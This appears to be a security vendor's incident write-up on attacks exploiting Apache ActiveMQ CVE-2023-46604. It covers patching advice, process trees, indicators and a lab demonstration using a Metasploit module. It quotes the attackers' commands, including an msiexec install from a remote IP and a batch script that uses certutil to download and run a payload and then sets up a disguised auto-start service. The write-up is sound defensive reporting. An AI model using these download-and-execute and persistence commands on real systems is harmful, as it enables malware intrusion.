Critical Vulnerability: Exploitation of Apache ActiveMQ CVE-2023-46604

A partner recently deployed Huntress agents on October 30, 2023, after experiencing a “HelloKitty” ransomware attack on October 27. This ransomware attack followed closely with what was described by Rapid7 in their blog post on November 1, titled Suspected Exploitation of Apache ActiveMQ CVE-2023-46604.

What Is CVE-2023-46604?

Rapid7 identified suspected exploitation of Apache ActiveMQ CVE-2023-46604. The CVE is a remote code execution vulnerability. Huntress has already seen this vulnerability being exploited in an environment we monitor. It is imperative you patch your systems immediately.

Patch Immediately

If you are running Apache ActiveMQ, patches are available to address CVE-2023-46604 for the following versions: 5.15.16, 5.16.7, 5.17.6, and 5.18.3. To determine the version of ActiveMQ you are running, a command line tool is available. The version will be listed by running the command activemq --version.

Patches can be found here: https://activemq.apache.org/components/classic/download/

If you are unable to patch these systems, you should immediately block the systems from being accessible from the Internet, which will significantly limit the attack surface.

Huntress Observations

The Huntress team received a number of signals indicative of remote commands issued via Apache ActiveMQ. As illustrated in Figure 1, the process lineage started with wrapper.exe and java.exe, and resulted in a command processor execution.

Figure 1: Command Process Tree

The Huntress team’s investigation determined that the exploitation of Apache ActiveMQ was the root cause of this incident.

Analysis of Windows Event Log data extracted from one endpoint indicated historical (prior to the Huntress agent being installed) signs of a compromise that aligned with what was observed by Rapid7. Specifically, MsiInstaller events indicated the start of installation for both http://172.245.16].]125/m4.png and http://172.245.16[.]125/m2.png. However, neither package appeared to install successfully. One of the packages failed to install due to an error with C:\Windows\Installer\MSIB9E7.tmp, and the other completed, but C:\Windows\Installer\MSIBC6B.tmp was detected and quarantined by Windows Defender.

Both *.png files were, in fact, MSI installer files packaged using the exe2msiSetupPackage, from QwertyLab, as illustrated in Figure 2.

Figure 2: MsiInstaller event ID 1033 event record message (Application Event Log)

Following this activity, the Huntress team observed the process tree illustrated in Figure 1, as well as in Figure 3, on multiple endpoints.

Figure 3: RuntimeBroker.msi Process Tree

The process tree, with full file paths, for RuntimeBroker.msi, illustrated in Figure 3, appears as follows:

C:\MRX\Apache\ActiveMQ\bin\win64\wrapper.exe -> C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe -> “cmd.exe /c msiexec /q /i http://4.216.93[.]211:5981/RuntimeBroker.msi”

The command to download and install the RuntimeBroker.msi file via MSIExec does not appear to have succeeded on either endpoint, as there are no MsiInstaller event records visible in the Application Event Log for that endpoint, during that time.

Following the unsuccessful attempt to install the RuntimeBroker.msi file, the command illustrated in Figure 1 was observed on several endpoints. However, within a short period (a second or less), Windows Defender detected and quarantined the agent_w.exe file on that same endpoint. Even though agent_w.exe was quarantined, analysis of the retrieved file indicates that it attempts to connect to 137.175.17[.]172.

On November 2, the Huntress team was alerted to multiple endpoints executing curl requests via the URL hxxp://27.102.128[.]152:8098/bit[.]ico, as illustrated in Figure 4. This activity appeared to spawn from the execution of wrapper.exe located within a subdirectory of the ActiveMQ installation files, exactly as observed in previous process trees.

Figure 4: Curl Process Tree

The Huntress team would like to note that activity of this nature was observed as early as October 10, as illustrated in Figure 5.

Figure 5: Process Creation Event from October 10, 2023

At the time that analysts responded to the alert illustrated in Figure 5, the system at IP address 45.32.120[.]181 was not accessible, but the win.bat file was retrieved from alternative sources, and appears as follows:

@echo off

cmd /c certutil -urlcache -split -f http://45.32.120[.]181/x86.exe  c:\users\public\86.dat

cmd /c start /b c:\users\public\86.dat

sc create windowDefenSrv  binPath= "c:\users\public\86.dat windowDefenSrv" start= auto

del c:\users\public\win.bat

At the time that the events were investigated, Huntress analysts found no additional, subsequent malicious activity on the endpoint, indicating that the infection process did not succeed. However, the process tree was identical to what was illustrated in Figures 1 and 3.

The Attack Lab: Exploitation Proof of Concept

Exploitation for this attack is trivial. There is a Metasploit module that automates exploitation for this attack. The Huntress team confirms that this module works like a charm against vulnerable instances of ActiveMQ.

The exploit process unfolds in two stages:

• The attacker establishes a connection to ActiveMQ via the OpenWire protocol, typically running on port 61616.
• By sending a crafted OpenWire packet, the attacker prompts the system to unmarshal a class they control. This action triggers the vulnerable server to fetch and load a class configuration XML file from a remote URL, implying the attacker must have a pre-defined XML file hosted elsewhere.

The OpenWire protocol request originates from the attacker, but the request to load a remote class configuration XML file originates from the victim server.

The original writeup for this vulnerability includes the following example of the XML file’s schema:

The loaded class calls the ProcessBuilder method to execute notepad.exe. In practice, the class configuration file will contain any of the well-known post-exploitation primitives like curl, certutil, powershell, and the like.

In this example, we simply echo “worked” into C:\Windows\Temp\worked.txt to prove successful exploitation:

Figure 6: Running the Metasploit Module

We then see the new file in the vulnerable server’s C:\Windows\Temp directory, which proves code execution:

Figure 7: Proof of Execution

We also see the requested class configuration file in the Wireshark HTTP stream for this example:

Figure 8: Reconstructed Network Traffic via Wireshark

Indicators of Compromise (IOCs)

137.175.17[.]172

172.245.16].]125:80

4.216.93[.]211:5981

27.102.128[.]152:8098

45.32.120[.]181

File Name

Hash

Agent_w.exe

dd13cf13c1fbdc76da63e76adcf36727cfe594e60af0dc823c5a509a13ae1e15

RuntimeBroker.msi

4c9fa87e72fe59cf15131bd2f3bd7baa7a9555ceec438c1df78dd5d5b8394910

Sigma Detector

The Huntress DE&TH team has also released a public Sigma detector for this particular threat.

Huntress has added detections for the activity reported in this blog. If you’d like to have someone else watching your back while you work on patching, feel free to start a free trial with us so our 24/7 SOC can keep an eye out for you.

Special thanks to Josh Allman, Faith Stratton, Izzy Spering, Matthew Kiely, Matt Anderson, Sharon Martin, Harlan Carvey, and Joe Slowik for their contributions to this writeup.